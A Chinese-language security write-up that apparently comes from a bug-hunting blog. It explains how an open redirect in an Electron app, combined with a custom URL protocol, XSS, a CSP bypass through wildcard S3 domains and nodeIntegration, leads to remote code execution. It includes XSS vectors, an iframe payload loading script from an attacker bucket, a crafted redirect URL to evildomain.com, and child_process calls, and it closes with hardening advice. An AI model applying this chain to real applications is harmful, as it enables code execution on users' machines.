挖洞经验 | 芝麻开门:从Electron开放重定向到应用程序RCE提权
字数 1230 2025-08-15 21:31:48

Electron应用安全测试:从开放重定向到RCE提权

1. 漏洞背景与Electron安全概述

Node.js及其生态框架(如Electron)的安全特性:

  • Electron应用本质上是简化版的Node.js环境应用
  • 将路径和模板化方式转移到客户端前端的设计模式
  • 攻击者可利用API端点或未混淆的数据信息
  • 常见漏洞模式:XSS → RCE提权链

Electron应用特有的安全风险:

  • 反编译过程简单(相比传统二进制应用)
  • 默认使用asar打包格式(易于解包分析)
  • nodeIntegration配置问题(默认开启风险)
  • 预加载脚本(preload)可能引入安全问题

2. 白盒测试准备

2.1 源码提取步骤

  1. 访问Application文件夹
  2. 右击应用程序 → "Show Package Contents"
  3. 进入Contents目录找到app.asar文件
  4. 执行解包命令:
    npx asar extract app.asar source
    
  5. 分析生成的source文件夹中的源码

2.2 关键配置检查

检查package.json中的主入口文件:

{
  "main": "app/index.js"
}

检查BrowserWindow创建时的webPreferences配置:

const appWindow = createWindow('main', {
  width: 1080,
  height: 660,
  webPreferences: {
    nodeIntegration: true,  // 高风险配置
    preload: path.join(__dirname, 'preload.js')
  }
});

3. 漏洞发现与分析

3.1 nodeIntegration安全问题

风险表现:

  • 允许窗口中的JS脚本访问Node.js函数
  • 可导入危险模块如child_process
  • 典型RCE利用方式:
    require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator', function(){})
    

3.2 XSS漏洞挖掘技巧

测试方法:

  1. 代理流量分析:
    electron . --proxy-server=127.0.0.1:8080
    
  2. 在所有用户输入点测试HTML Payload
  3. 使用基础测试向量:
    <b>pwned</b>
    <script>alert()</script>
    <svg onload=alert()>
    

3.3 绕过CSP限制

案例中的CSP策略:

Content-Security-Policy: 
  script-src 'self' 'unsafe-eval' 
  https://cdn.heapanalytics.com 
  https://heapanalytics.com 
  https://*.s3.amazonaws.com 
  https://fast.appcues.com 
  https://*.firebaseio.com

绕过方法:

  1. 利用通配符域名(如*.s3.amazonaws.com)
  2. 使用iframe的srcdoc属性:
    <iframe srcdoc='<script src=https://myeviljsbucket.s3.amazonaws.com/evilscript.js></script>'></iframe>
    

3.4 require函数重命名问题

preload.js中的关键代码:

window.nodeRequire = require;
delete window.require;
delete window.exports;
delete window.module;

调整后的利用方式:

window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator', function(){})

4. 开放重定向到RCE的完整利用链

4.1 开放重定向漏洞

原始漏洞形式:

https://collabapplication.com/redirect.jsp?next=//evil.com

4.2 自定义协议处理风险

应用程序注册的自定义URL协议:

collabapp://collabapplication.com?meetingno=123&pwd=abc

白名单检查函数:

function isWhitelistedDomain(url) {
  var allowed = ['collabapplication.com'];
  var test = extractDomain(url);
  if (allowed.indexOf(test) > -1) return true;
  return false;
}

4.3 完整利用链构造

  1. 利用开放重定向构造恶意URL:
    collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html
    
  2. evil.html中包含恶意脚本:
    <script>
      window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator', function(){})
    </script>
    

5. 防御措施与安全建议

5.1 Electron安全配置

  1. 禁用nodeIntegration:
    nodeIntegration: false
    
  2. 如需Node功能,使用contextIsolation和预加载脚本:
    contextIsolation: true,
    preload: path.join(__dirname, 'preload.js')
    

5.2 CSP策略强化

推荐配置:

  • 避免使用通配符域名
  • 禁用unsafe-eval
  • 限制脚本来源为严格白名单

5.3 其他防护措施

  1. 输入验证与输出编码
  2. 自定义协议处理的安全检查
  3. 禁用或限制开发者工具访问
  4. 定期安全审计与渗透测试

6. 工具与资源

有用工具:

  • Webpack Exploder:反编译Webpacked的React应用
  • asar:Electron应用解包工具
  • Burp Suite:流量分析与拦截

学习资源:

  • Electron安全文档
  • OWASP Node.js安全指南
  • 常见Electron漏洞模式研究
Electron应用安全测试:从开放重定向到RCE提权 1. 漏洞背景与Electron安全概述 Node.js及其生态框架(如Electron)的安全特性: Electron应用本质上是简化版的Node.js环境应用 将路径和模板化方式转移到客户端前端的设计模式 攻击者可利用API端点或未混淆的数据信息 常见漏洞模式:XSS → RCE提权链 Electron应用特有的安全风险: 反编译过程简单(相比传统二进制应用) 默认使用asar打包格式(易于解包分析) nodeIntegration配置问题(默认开启风险) 预加载脚本(preload)可能引入安全问题 2. 白盒测试准备 2.1 源码提取步骤 访问Application文件夹 右击应用程序 → "Show Package Contents" 进入Contents目录找到app.asar文件 执行解包命令: 分析生成的source文件夹中的源码 2.2 关键配置检查 检查package.json中的主入口文件: 检查BrowserWindow创建时的webPreferences配置: 3. 漏洞发现与分析 3.1 nodeIntegration安全问题 风险表现: 允许窗口中的JS脚本访问Node.js函数 可导入危险模块如child_ process 典型RCE利用方式: 3.2 XSS漏洞挖掘技巧 测试方法: 代理流量分析: 在所有用户输入点测试HTML Payload 使用基础测试向量: 3.3 绕过CSP限制 案例中的CSP策略: 绕过方法: 利用通配符域名(如* .s3.amazonaws.com) 使用iframe的srcdoc属性: 3.4 require函数重命名问题 preload.js中的关键代码: 调整后的利用方式: 4. 开放重定向到RCE的完整利用链 4.1 开放重定向漏洞 原始漏洞形式: 4.2 自定义协议处理风险 应用程序注册的自定义URL协议: 白名单检查函数: 4.3 完整利用链构造 利用开放重定向构造恶意URL: evil.html中包含恶意脚本: 5. 防御措施与安全建议 5.1 Electron安全配置 禁用nodeIntegration: 如需Node功能,使用contextIsolation和预加载脚本: 5.2 CSP策略强化 推荐配置: 避免使用通配符域名 禁用unsafe-eval 限制脚本来源为严格白名单 5.3 其他防护措施 输入验证与输出编码 自定义协议处理的安全检查 禁用或限制开发者工具访问 定期安全审计与渗透测试 6. 工具与资源 有用工具: Webpack Exploder:反编译Webpacked的React应用 asar:Electron应用解包工具 Burp Suite:流量分析与拦截 学习资源: Electron安全文档 OWASP Node.js安全指南 常见Electron漏洞模式研究